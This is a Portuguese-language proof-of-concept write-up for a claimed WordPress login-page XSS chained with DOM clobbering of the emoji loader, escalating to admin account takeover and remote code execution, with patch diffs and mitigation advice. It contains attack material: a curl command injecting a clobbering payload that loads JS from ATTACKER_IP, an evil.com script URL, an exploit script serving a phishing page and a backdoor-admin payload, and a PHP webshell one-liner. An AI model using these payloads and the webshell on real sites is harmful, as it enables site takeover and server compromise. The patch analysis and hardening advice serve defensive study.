
Exploit de prova de conceito para CVE-2026-64638: XSS refletido no login do WordPress combinado com DOM clobbering para obter assunção de conta de administrador e execução remota de código.
Software: WordPress Core ≤ 7.0.2 (todas as versões anteriores à 7.0.3)
CVSS: 8.9 (Alto)
CWE: CWE-79 — Neutralização Incorreta de Entrada Durante a Geração de Páginas Web
Autenticação Necessária: Nenhuma (Pré-Auth)
Interação do Usuário: Ativa (o admin precisa clicar em 1 link)
Impacto: XSS → Tomada de Conta → Execução Remota de Código
WordPress é o sistema de gerenciamento de conteúdo mais popular do mundo, sendo responsável por mais de 40% de todos os sites na internet. Todo site WordPress tem uma página de login em /wp-login.php — este é um endpoint público que qualquer pessoa pode acessar sem autenticação.
Quando um usuário insere um nome de usuário incorreto, o WordPress exibe uma mensagem de erro contendo exatamente o nome de usuário que o usuário acabou de digitar: “O nome de usuário X não está registrado neste site.” O problema está no fato de que o valor do nome de usuário é colocado diretamente na resposta HTML sem passar por nenhuma função de escape — um atacante só precisa inserir HTML/JavaScript em vez de um nome de usuário real, e o código será executado no navegador.
Esta é uma falha de XSS Refletido — o payload está contido na requisição e é refletido de volta de forma idêntica pelo servidor no HTML. O que a torna perigosa é que a falha reside na página de login — um local frequentemente acessado por admins, onde cookies de sessão de admin podem ser roubados.
A equipe de pesquisa descobriu ainda que este XSS pode ser encadeado com uma vulnerabilidade de DOM clobbering no emoji-loader do WordPress, permitindo que JavaScript seja carregado de um servidor externo. A partir daí, um atacante pode criar uma nova conta de admin → instalar um plugin contendo um webshell → executar código PHP no servidor. Esta cadeia de exploração é chamada de XSS2Shell.
O WordPress carrega suporte a emojis em todas as páginas (incluindo a página de login) através do arquivo emoji-loader.js. Este script lê a configuração de um elemento com id="wp-emoji-settings":
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() retorna o primeiro elemento no DOM com um id correspondente. Se um atacante injeta um <div id="wp-emoji-settings"> antes da tag de script original, getElementById lerá o conteúdo do atacante em vez da configuração real. Esta técnica é chamada de DOM clobbering — sobrescrever o comportamento do JavaScript injetando elementos HTML.
A configuração de emoji contém uma URL para carregar um arquivo JavaScript (concatemoji). O atacante controla esta URL → carrega um arquivo JS de um servidor externo → executa código arbitrário no contexto do navegador.
Uma vez que a execução de JavaScript no contexto de admin é alcançada, o atacante tem privilégios totais de admin do WordPress:
/wp-admin/user-new.php com a sessão do admin/wp-admin/plugin-install.phpQualquer um dos 3 métodos acima permite a execução de código PHP no servidor — ou seja, RCE.
A partir do commit de correção 0d6d42e no wordpress-develop, identifiquei 3 locais no arquivo wp-includes/user.php onde o nome de usuário/email é colocado diretamente na mensagem de erro:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
Local 1 — Linha 189 (nome de usuário não existe):
Antes :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

Depois :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
Local 2 — Linha 216 (senha incorreta):
Antes :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
Depois :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
Local 3 — Linha 299 (senha incorreta para email):
Antes :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
Depois :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
Fluxo de dados da requisição POST até a mensagem de erro:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
O WordPress tem 2 camadas de filtragem antes que o nome de usuário chegue ao HTML:
Camada 1: sanitize_user() — Chama strip_tags() para remover tags HTML. No entanto, o strip_tags() do PHP tem limitações conhecidas: formatação de tag não padrão pode contornar o filtro.
Camada 2: wp_kses_post() — Permite a passagem de um subconjunto seguro de HTML, incluindo <div>, <a>, `` com certos atributos (mas remove manipuladores de eventos como onerror, onload). Crucialmente: wp_kses_post permite <div id="wp-emoji-settings"> — exatamente o elemento necessário para DOM clobbering.
A equipe pwn.ai encontrou uma maneira de contornar ambas as camadas para injetar um payload útil. Detalhes técnicos específicos não foram divulgados publicamente.
Para confirmar visualmente que o nome de usuário vai direto para o HTML sem escape, usei Xdebug + VS Code para colocar breakpoints em pontos-chave da cadeia de execução.
Passo 1 — Inserir o payload XSS no formulário de login:
Acesse http://localhost:8282/wp-login.php, insira o nome de usuário como `` e clique em Log In. Um popup de alerta aparece — o XSS funciona.


Passo 2 — Breakpoint em user.php:184 — Onde o XSS ocorre:
Defina um breakpoint em return new WP_Error(...) dentro da função wp_authenticate_username_password(). Quando o depurador parar, observe:
$username = "" — payload HTML intacto, sem escape$_POST: log = "" — confirma que o payload se origina da entrada do formuláriowp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
O valor $username vai de $_POST['log'] → wp_unslash() → (contorna sanitize_user) → sprintf() para a mensagem de erro nas linhas 186-189 — nenhum esc_html() no meio. No laboratório, sanitize_user() foi comentado para simular o bypass descoberto pela pwn.ai.
Passo 3 — Breakpoint em functions.php:9200 — Saída Final:
Defina um breakpoint em echo wp_get_admin_notice( $message, $args ) — esta é a última linha antes que o HTML seja enviado ao navegador:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — o payload reside intacto dentro da mensagem de erro em HTMLwp_kses_post() envolvendo-a (removida para simular o bypass), então o payload vai diretamente para o navegador
No WordPress original, esta linha é echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() removerá o atributo onerror mas permitirá a passagem de <div id="wp-emoji-settings"> porque <div> está na lista de permissões. Este é exatamente o vetor para o ataque de DOM clobbering.
O commit a12c8f5 modifica emoji-loader.js para bloquear DOM clobbering:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
A correção muda 3 coisas:
querySelector('script#...') em vez de getElementById — só corresponde a tags <script>instanceof HTMLScriptElement — impede DOM clobbering via <div> ou ``.text em vez de .textContent — .text é uma propriedade específica de HTMLScriptElementApós a correção, mesmo que um atacante consiga injetar <div id="wp-emoji-settings">, o emoji-loader o ignorará porque não é um elemento <script>.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
Acesse http://localhost:8282/wp-login.php, insira:
Clique em Log In. Se um popup de alerta mostrando "localhost" aparecer → o XSS funciona.
Resultado — payload refletido intacto no HTML:

Payload mais complexo — injetar <div> com id="wp-emoji-settings" contendo JSON apontando para o arquivo JS do atacante:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
Se a saída HTML contiver <div id="wp-emoji-settings"> com o JSON do atacante → o emoji-loader carregará o JS do servidor do atacante.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
O script exploit.py serve 2 coisas:
http://127.0.0.1:9999/phish.html — página de phishing se passando pela Atualização de Segurança do WordPresshttp://127.0.0.1:9999/evil.js — payload JS que cria uma conta de admin backdoorO atacante envia o link http://127.0.0.1:9999/phish.html ao admin via email/chat. Quando o admin clica:
/wp-login.php com nome de usuário contendo o payload XSS<div id="wp-emoji-settings"> aparece no HTMLemoji-loader.js lê a div falsa → carrega evil.js do servidor do atacanteevil.js roda no navegador do admin → busca /wp-admin/user-new.php para obter o nonce → cria a conta backdoor_xss2shell / Pwn3d!XSS2Shell
Todo o processo ocorre automaticamente; o admin apenas vê a página de login normal com o erro "nome de usuário não encontrado".
No laboratório, o admin já estava logado com admin / admin123, então evil.js rodou imediatamente. Após obter acesso à conta, enviei imediatamente um webshell via Plugin:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


A saída retornou www-data — o atacante agora tem privilégios de execução de comandos no servidor.
/wp-login.php é sempre público e não pode ser ocultado (a menos que se usem plugins para alterar a URL de login)HttpOnly não estiver definido corretamente) ou credenciais via phishingCorreção 1 — Escapar a saída (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
Correção 2 — Endurecer o emoji-loader (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
Correção 3 — Escapar a URL (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php com payload HTML no parâmetro logsanitize_user() é projetado para normalizar nomes de usuário, não para prevenir XSS. Defesa em profundidade: escapar no ponto de saída (esc_html, esc_attr, esc_url) é a camada de defesa final e mais crítica.getElementById para dados sensíveis à segurança. DOM clobbering pode injetar um elemento falso com o mesmo id. Use querySelector com nome de tag específico + verificação instanceof.wp_kses_post não é um filtro de XSS. Ele é projetado para permitir HTML seguro no conteúdo de posts — não para bloquear XSS em outros contextos. Cada contexto requer sua função de escape dedicada.| Atributo | Valor |
|---|
| CVE ID | CVE-2026-64638 |
| Pontuação CVSS | 8.9 (Alto) |
| Software | WordPress Core ≤ 7.0.2 |
| Autenticação | Nenhuma necessária (Pré-Auth) |
| Interação do Usuário | Requer 1 clique (admin clica no link) |
| Complexidade do Ataque | Alta |
| Corrigido | WordPress 7.0.3 (08/06/2026) |
| Relator | equipe pwn.ai via HackerOne |
| Relatório HackerOne | #3877102 |
| Métrica CVSS | Valor | Motivo |
|---|
| Vetor de Ataque | Rede | Via HTTP, enviando link para a vítima |
| Complexidade do Ataque | Alta | Requer contornar sanitize_user() + wp_kses_post(), requer clique da vítima |
| Privilégios Necessários | Nenhum | O endpoint de login não requer autenticação |
| Interação do Usuário | Ativa | O admin deve clicar no link de phishing |
| Confidencialidade | Alta | Ler cookies, sessão, conteúdos do painel admin |
| Integridade | Alta | Criar conta admin, instalar plugin, modificar arquivos |
| Disponibilidade | Alta | RCE → controle total do servidor |